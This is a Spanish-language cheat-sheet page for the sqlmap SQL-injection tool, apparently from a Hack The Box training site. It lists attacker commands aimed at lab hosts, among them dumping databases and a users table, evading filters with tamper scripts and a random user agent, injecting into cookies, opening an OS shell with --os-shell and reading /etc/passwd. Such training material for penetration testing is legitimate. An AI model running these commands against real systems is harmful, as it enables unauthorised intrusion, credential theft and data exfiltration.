sqlmap
sqlmap prueba un parámetro con decenas de técnicas (booleana, por tiempo, UNION, errores) y, si es vulnerable, vuelca la base de datos o te da una shell. Lo más cómodo es pasarle la petición guardada desde Burp con -r.
- Plataforma
- Linux · Windows · macOS (Python)
- Web oficial
- sqlmap.org
- En HTB
- 4 máquinas
Instalación
sudo apt install sqlmap
Chuleta de sqlmap
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Extras
Saltarse un WAF sencillo
sqlmap -r peticion.txt --batch --tamper=space2comment,between --random-agent
Inyección en una cookie
sqlmap -u http://box.htb/ --cookie='id=1*' --level 2 --batch
El asterisco marca dónde inyectar.
En nuestras chuletas
Payloads de inyección SQL › sqlmap
Probar un parámetro GET
Atacante
sqlmap -u 'http://10.10.11.20/item.php?id=1' --batch --dbs
Desde una petición guardada en Burp
Atacante
sqlmap -r peticion.txt --batch --level 5 --risk 3
Formularios de la página
Atacante
sqlmap -u 'http://10.10.11.20/login.php' --forms --batch
Volcar una tabla
Atacante
sqlmap -r peticion.txt --batch -D app -T users --dump
Solo booleana y por tiempo
Atacante
sqlmap -r peticion.txt --batch --technique=BT
Evadir filtros con tampers
Atacante
sqlmap -r peticion.txt --batch --tamper=space2comment,between
Inyección en una cookie o cabecera
Atacante
sqlmap -u 'http://10.10.11.20/' --cookie='session=abc*' --batch --level 2
El asterisco marca dónde inyectar.
Shell del sistema
Atacante
sqlmap -r peticion.txt --batch --os-shell
Leer un fichero
Atacante
sqlmap -r peticion.txt --batch --file-read=/etc/passwd
Ningún comando coincide.
Máquinas de HTB donde se usa sqlmap
Sacadas de los capítulos de los vídeos de IppSec en los que aparece sqlmap. El enlace ▶ salta al minuto de esa parte.
Guías que usan sqlmap
- Inyección SQL: de la comilla al volcado de la base de datos 4 min de lectura Cómo detectar una SQLi, sacar datos con UNION, a ciegas o por tiempo, leer ficheros y cuándo tirar de sqlmap. Con chuleta por motor (MySQL, PostgreSQL, MSSQL, SQLite).